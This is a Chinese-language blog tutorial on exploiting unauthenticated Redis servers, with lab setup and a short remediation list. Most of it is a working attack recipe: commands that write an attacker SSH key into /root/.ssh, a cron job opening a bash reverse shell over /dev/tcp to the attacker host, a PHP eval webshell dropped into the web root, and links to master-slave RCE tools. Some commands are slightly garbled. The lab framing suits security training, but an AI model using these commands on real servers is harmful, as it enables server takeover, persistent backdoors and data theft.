Redis未授权访问漏洞复现与GETSHELL利用方法汇总(含靶场搭建)

一、漏洞产生原因

redis安装完之后,默认情况下绑定在 0.0.0.0:6379,且没有对登录IP做限制,并且没有设置密码(默认为空)。

二、漏洞危害

攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

三、靶场搭建

3.1、redis数据库下载安装

本地实验采用的是最新版:6.2.5
访问 https://redis.io/download 下载稳定版本
在这里插入图片描述
本地实验使用的是centos8,执行安装命令:

https://download.redis.io/releases/redis-6.2.5.tar.gz
tar xzf redis-6.2.5.tar.gz
cd redis-6.2.5
make  //编译成功之后,redis成功安装

3.2、搭建 redis 未授权访问漏洞靶场

3.2.1 redis 启动命令:

cd src
./redis-server 

成功启动如下图所示:
在这里插入图片描述
3.2.2 接下来编辑redis配置文件redis.conf,去掉ip绑定,允许除本地外的主机远程登录redis服务:

找到下图所示位置,将bind 127.0.0.1 前面加个注释符 #
修改前截图:
在这里插入图片描述
修改后截图:
在这里插入图片描述
3.2.3 关闭保护模式,允许远程连接redis服务:
编辑redis配置文件redis.conf,将 yes改为no
修改前截图:
在这里插入图片描述
修改后截图:
在这里插入图片描述
3.2.4 修改完之后,重新启动
重启redis服务。注意在重启的时候要指定redis.conf这样redis.conf才可以生效

./redis-server /root/redis-6.2.5/redis.conf

在这里插入图片描述

**注意:**如果重启报错,如下图所示,需要 netstat -anpt 找到 之前redis服务的进程 PID,把之前的 kill 了之后,就可以重新启动redis服务了
在这里插入图片描述
3.2.5 关闭防火墙

//查看防火墙状态
systemctl stop firewalld.service //关闭防火墙

在这里插入图片描述
**靶场环境: ** 懒得自己搭建的可以在 知识星球 或者 我的资源 中下载

四、漏洞复现 GETSHELL 利用

目标靶机,IP:192.168.241.129
攻击主机,IP:192.168.241.128

namp 扫描一波,发现目标靶机开放 6379 端口
在这里插入图片描述
使用 redis 客户端连接测试,发现存在未授权访问漏洞
在这里插入图片描述
那么接下来就是利用 redis 未授权访问漏洞 getshell 了

4.1 公私钥认证 GETSHELL

**前提: **
1、redis服务使用 root 账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录

4.1.1 先在本地生成一对密钥

kali 攻击机执行命令:

h-keygen -t rsa

4.1.2 然后通过redis执行查看是否存在 /root/.ssh 文件

config set dir /root/.ssh
config set dbfilename authorized_keys
save

如下图所示,说明存在 /root/.ssh 文件
在这里插入图片描述
4.1.3 将公钥写入到目标靶机中

cd .ssh/ 
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt 
#将生成的公钥保存到redistest.txt
cat redistest.txt | redis-cli -h 受害者ip -x set redistest 
#将保存ssh公钥的redistext.txt写入redis

在这里插入图片描述
4.1.3 成功写入之后,ssh远程连接

cd .ssh
ssh -i id_rsa root@192.168.241.129

如下图所示,已经拿到目标靶机的 root 权限,并成功登录
在这里插入图片描述

4.2 计划任务反弹shell

**前提: **
1、redis以root身份运行

4.2.1 在kali开启nc 监听端口 6666

nc -nvlp 6666

在这里插入图片描述
4.2.2 连接redis后写入shell

redis-cli -h 192.168.241.129
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.241.128/6666 0>&1\n"
config set dbfilename root
save

在这里插入图片描述
kali监听反弹 shell 了,成功
在这里插入图片描述

4.3 绝对路径写webshell

**前提: **
1、服务器存在WEB网站,且知道绝对路径

4.3.1 利用 redis 未授权写一句话木马

config set dir /var/www/html/
config set dbfilename redis.php
set shell " <?php @eval($_POST['x']); ?>"
save

在这里插入图片描述
写入一句话木马文件 redis.php 之后进行访问测试
在这里插入图片描述
成功 getshell ,是普通用户权限,接下来可以进一步提权。
在这里插入图片描述
在这里插入图片描述

4.4 利用主从复制RCE

前提: 漏洞存在于4.x、5.x版本中,Redis提供了主从模式。
原理:
主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

靶场搭建:
利用 vulhub 的 Redis 4.x/5.x 未授权访问漏洞靶场
在这里插入图片描述
4.4.1 首先验证是否存在未授权访问漏洞
在这里插入图片描述
4.4.2 利用脚本 getshell

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
git clone https://github.com/Ridter/redis-rce.git
https://github.com/vulhub/redis-rogue-getshell
https://github.com/jas502n/Redis-RCE

命令如下图所示,直接 getshell 了
在这里插入图片描述

五、漏洞修复

1、禁止外部访问redis服务端口。
2、禁止root权限启动redis服务。
3、限制访问redis服务的IP。

更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W小哥1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值